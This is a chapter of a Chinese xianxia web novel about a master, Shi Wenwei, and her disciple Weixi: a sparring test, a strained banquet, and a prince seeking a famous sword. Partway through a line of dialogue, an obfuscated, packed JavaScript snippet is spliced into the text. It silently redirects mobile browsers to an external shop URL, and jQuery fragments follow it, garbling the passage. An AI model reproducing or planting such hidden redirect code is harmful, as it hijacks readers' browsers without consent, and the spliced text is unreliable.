文趣网 > 其他小说 > 仆宠 > 14. 长进
    “过来。”

    只需要一声令下,惟熙立刻扑向前去。如同走丢的宠物再次见到主人那般急切。他双手箍住时问微的腰,头紧紧抵在她小腹。

    “师傅……徒儿以为,再也见不到师傅了。”

    时问微冷声哼道:“若我晚来一步,你可是要与他同归于尽了?”

    “……”

    面前的人自知理亏,松开手后退一步。只见他喉间紫红一片、形容狼狈,怯生生地往后藏。

    时问微眼疾手快地捉过他的右手,右手背上一条狭长的伤发黑溃烂,魔气浓重。

    听完伤口由来的解释,她皱紧眉头开始包扎:“怎么还是一点长进都没有,我可曾教过你这样滥发善心?

    “这人狡猾透顶,分明是伪装饥民混进元虚宗,划伤你的手也不过是好做标记。元虚宗守卫森严,若非有这道标记,他也不至于如此轻易地混进来,还造成这般动静。”

    “方才的人,师傅认识么?”

    “一个疯子,不必理会。”

    惟熙若有所思地低下头,摩挲着包扎好的手背。

    伯歧虽可恶,但时问微也清楚造成这一切的是自己的好师傅,柳夜游。

    她讽刺道:“你和她倒更像师徒,无用的仁慈。”

    情知又做错了事,惟熙羞愧地低下头:“对不起,师傅,徒儿错了。”

    蓝色的月光笼在他眉眼,平添几分乖顺。

    少年正是拔节的年纪,分明只阔别几日,肉眼可见有了变化。说不上是眉眼深邃几分,还是脸庞瘦削几许,被她握住的手似乎也修长不少。

    时问微静静端详片刻,语气柔和下来:“功课倒没懈怠,都敢用《太初演道诀》第三章了。”

    说到这,惟熙眼里又亮起了光,他抬起头:“自师傅走后,徒儿一直不敢懈怠,日夜勤学苦练,就盼着师傅回来……”

    “既如此,便来与我试试。”

    时问微后退一步,摆开架势。

    见状,惟熙深呼吸一口气:“徒儿斗胆,若能通过试验,师傅能否答应徒儿一件事?”

    “倒会提要求了?行,你我皆用《太初演道决》里的章法,三招之内你若能打中我,便应你这一回。”

    月光盈满庭院,惟余二人。

    时问微岿然不动,晚风拂起衣角,她掌心向上在前,朝对面的人勾了勾手。惟熙表情也严肃起来,气沉丹田。

    拳拳生风的架势看着唬人,却被时问微一掌轻易别开。

    “可得认真些。”她笑。

    惟熙一拳误了准头,擦着腰侧而过,差点扑了个空。他借势运作《太初演道诀》第二章,以左腿为支撑,右腿旋踢而去,却有几秒的停滞。

    时问微抬头后仰,堪堪避开。

    “犹豫心软,可是大忌。”

    如同逗弄宠物一般,陪他试过两个来回,时问微便摸清了他的功力:这半路徒儿虽学了章法,但到底缺了实战经验。

    差不多也该结束了……

    她眼神一暗,右拳破了他攻势,小腿横勾踢去。这一脚破风,不留情面,对面的人下意识紧闭了眼。

    风声止息,时问微的脚堪堪停在他腹前。

    谁想惟熙紧揽住她的腿旋开,一掌猝不及防直直朝她胸口打来。

    瞬息之间,攻守之势异也。

    最后一掌,他收敛了掌风,轻轻按在时问微胸口。

    她略带惊愕抬眼,对上那双漂亮的桃花眼,眼里满是狡黠。

    他笑:“师傅,犹豫心软,可是大忌。”

    -

    白日茶室,时问微与柳夜游对坐,这对师徒倒显得生分。

    怀空山为二人敬上茶水,不由多看一眼时问微。自己一向尊敬名义上的大师姐,可大师姐却总与师傅不对付,一大早还来会客堂驱赶了那些难民。

    柳夜游似对此尤为不满,抿紧嘴唇,一语不发。

    还是时问微主动接过茶壶,替她斟满一杯茶,客气叫她一声师傅。

    “我在凡间还有事未了,少不得还要再耽搁几日,惟熙多蒙元虚宗照顾。”

    “我养你的时候,可没胡乱把你撇在什么地方不管。”

    她放低了姿态,柳夜游却也不接。

    既如此,时问微也不客气:“是啊,你是管了,也管得太多。要不是你管得太多,惟熙也不会因此受伤。你还记得,秉如就是因为……”

    “够了!”

    柳夜游一拍茶桌,茶盏被内力猛地震碎,尖锐刺耳,茶水混合着玻璃碎片流了一地。

    站在身后的怀空山第一次见师傅如此失态,一时竟也惊得愣住,半晌才开始弯腰收拾。

    柳夜游手撑着额头:“我以后,再也不管你的事。”

    “那最好不过。我的人,不需要你管。”

    说罢,时问微拂袖离去。

    僵持的气氛一直延续到晚间宴席。

    原本为欢迎时问微准备的宴席,因为两人的沉默寡言,显得沉闷。一向能说会道的柳玉山,被柳夜游撇了一眼后,也只埋头扒饭。

    这时门外来报,靖海王求见。

    这靖海王乃当今人皇之叔,当年龙子之争中落败被贬至宁州。此人专爱寻仙问道,与九州一些名门正派都交情匪浅。可在元虚宗,却是个稀客。

    听到他来,时问微放下碗筷,离席而去。

    她的身份到底不便为外人知晓。

    靖海王落座后,柳夜游笑着敬一杯酒:“早听闻靖海王的贤明,泽被一方,深得民心。今日得见,果真气度不凡。”

    “哪里哪里,谏山祖师才是一代祖师,德高望重,桃李满天下。大弟子都早已得道飞升,我等凡民望尘莫及。”

    “飞升也不算甚么得道,若有心,是头猪也能飞上天做天蓬元帅。”

    “……”

    饶是端方有礼如靖海王,此刻笑容也差点挂不住。

    惟熙低头看着一滴未动的酒盏,大约知道师傅的刻薄传承自谁。

    靖海王到底饱经世故,又殷勤道:“谏山祖师惯爱自谦,天下谁人不识元虚宗大师姐时……”

    “王爷远道而来,倒多是谈起我来了,这如何使得?实在失礼,我敬王爷一杯。”

    一杯酒适时打断接下来的话,但靖海王却是个不屈不挠的,又捡起话头:

    “实不相瞒,孤此次前来拜访,也是有事相求。”

    柳夜游笑着放下酒盏:“贫道倒不知,元虚宗有何能帮上靖海王的。”

    “听闻……那位大师姐与青云剑主私交甚笃,连本命剑也一并托付,而今都在元虚宗。孤才疏学浅,倒也想借剑一看。”

    他说话并不客气,在场人均是一沉。

    青云剑是什么东西?

    是上古神剑,是青云剑主的遗物。要提它,绕不开那个人,绕不开他的死,也绕不开那场围剿……

    八扇缂丝屏风内,传来一阵大笑。

    银光随后掷出,破风声随刀剑而至,直直穿破靖海王面前的凭几,插入地面三寸。

    若偏差一毫,靖海王便要命丧当场。

    他面色煞白,却强撑着不动。

    往来处望去,一人立在屏风之上,灯光昏暗,看不清脸。但靖海王心里清楚,恐怕这就是他要请的佛。

    “靖海王倒是客气,这青云剑,我看不过破铜烂铁。谁若有眼瞧上了,拿去便是。”

    面前古剑锋芒毕露,剑柄上刻青云二字,深深扎入地面之中,恐非神力不可拔。

    “今日得见,果真好剑。好剑配豪杰,如今青云剑尚在,青云剑主却含冤而去,世间豪杰尚存焉?”

    靖海王直勾勾地抬头看去,眼里有狼子野心、有抱负未平、有一生坎坷不得志。

    而这些,时问微都看过太多。

    “你想争王,与我九州无关;你想为青云剑主平反,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793220|210456||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    天下自然有人附和你。但你若想以青云剑为你招募死士,那你想错了。”

    “此言差矣。青云剑主实乃侠肝义胆、悯怀苍生之辈,生前殚精竭虑,力推九州仁德之政,却不料遭宵小构陷,陨于暗箭。我等纵不念其恩义,岂能漠视此等天道昭昭?

    “难道,大人就不想为英雄雪此沉冤、还其清白么?”

    见他字字泣血,眼眶通红,有失仪态,在场人为之动容。

    唯独时问微收敛笑意:“我说了,若要拿剑,尽可拿去。”

    靖海王也收敛了神色,起身作揖:“我知大人对我还并不信任,但我靖海王府能为大人提供的助力,绝对比大人想象的多。

    “无妨,今日得见,也算缘分。大人若改了主意,尽管来王府,孤随时恭候着。”

    那抹身影离去许久,大厅依旧鸦雀无声。柳夜游脸色绝对称不上好看,时问微跳下屏风拔起青云剑,随手挽了个剑花。

    也正在此时,她注意到席上惟熙脸色有异。

    他脸上血色尽无,似是极力忍耐着什么,双手死死抓着腿上衣裤,大滴大滴的汗从额头渗出。

    糟糕,她没想到惟熙身上的枷锁越来越松,连青云剑气都能轻易将那股可怕的灵力勾扯出来。

    “我没事……”

    注意到大家都在看他,他扯出一个无法令人信服的笑。

    柳夜游皱眉:“还不赶快送去药泉。”

    “不。”

    时问微将青云剑往柳玉山身上一扔,面色沉沉,从容地落座他身旁。

    “既然没事,便继续用饭,不要糟蹋了粮食。”

    柳夜游和时问微的目光在空中交汇,谁也不让谁。

    似是生怕二人因自己起了争执,惟熙忙摆手向柳夜游道无妨,在一旁闷声扒饭。

    但看他样子一定极不好受,全程眉头紧锁,头低得快要埋进碗里,只顾空口嚼白饭。

    柳玉山看不下去,见他放下碗筷,忙劝他离席。

    可惟熙看了一眼不动如山的时问微,摇摇头拒绝,笑容苍白虚弱。

    “既然不需要,便坐着吧。”

    时问微抿一口酒,几人欲言又止,却也情知劝不住。

    最受不了压抑气氛的柳玉山起身,朝台上柳夜游举起酒杯:“师傅,您老人家虽然常常对我严厉,但我也确实没让您省心。徒儿深知自己朽木一块,劳烦师傅费心雕刻。

    “这杯酒,一是谢师恩,谢您没把我逐出师门;二是表决心,徒儿虽爱闹,但在外面绝不会透漏您的身份,不给咱们元虚宗丢脸。徒儿先干为敬!”

    他仰起下巴,利落饮尽一杯酒。众人听完都露了笑意,气氛松快不少。

    “你倒是不跟我客气。”柳夜游笑着也饮尽杯中酒,却问他,“说罢,这次可有什么事相求。”

    “师傅,您怎么能这么想我!徒儿就不能是孝顺吗?当然,如果师傅肯借我照魇镜一用,就更好了……”

    “我就知道。”柳夜游从怀中掏出古镜。

    台下惟熙若有所思,他也学着柳玉山的模样,朝身旁的时问微举起酒杯。

    他用只有两人听到的音量说道:“师傅,徒儿也敬你一杯。”

    说罢,惟熙手腕一翻,一杯酒落肚。

    时问微想要阻止已来不及,对面的人喝完竟是两眼一闭,向前栽去。

    酒盏破碎的响吸引了众人视线。众人朝声音寻去,只见惟熙直直栽倒在时问微怀中,被她用双手紧紧护住,没受一点伤。

    乱饮仙酒,波动的灵力不受控制,难免受影响。

    “好的不学,坏的倒学得快。”时问微嫌弃道。

    “……”惟熙扑在她怀中,攥紧了她的衣袍,眉头颤动。

    “别笑了,笑得比哭还难看。现在还有没有事?”

    他终于被击溃,不再假装:

    “徒儿……好疼……师傅,帮帮徒儿……”